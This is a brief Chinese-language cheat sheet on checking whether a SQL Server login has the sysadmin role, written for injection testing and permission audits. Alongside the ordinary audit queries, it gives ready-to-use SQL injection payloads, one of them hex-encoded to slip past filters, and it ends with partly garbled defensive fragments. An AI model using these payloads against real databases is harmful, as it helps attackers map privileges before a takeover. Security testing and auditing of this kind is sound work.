在 SQL 注入測試或權限審計中,常需判斷當前登入是否擁有 sysadmin 固定伺服器角色。以下為兩種常用檢測語句:
IS_SRVROLEMEMBERSELECT IS_SRVROLEMEMBER('sysadmin'); -- 返回 1 表示是,0 表示否,NULL 表示角色不存在
注入測試常用 payload:
AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
AND CHAR(124) + CAST(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) AS VARCHAR(1)) + CHAR(124) = 1 --
0x730079007300610064006D0069006E00 為 'sysadmin' 的 UTF-16LE 十六進制表示。CHAR(124) 為管道符 |,構造 |1| 或 |0| 再比較。SELECT name, principal_id, type_desc FROM sys.server_principals WHERE type IN ('R','L');
或列出某角色成員:
EXEC sp_helpsrvrolemember 'sysadmin';
sa 或 sysadmin 帳號。IS_SRVROLEMEMBER、sp_helpsrvrolemember 等敏感函數設定規則。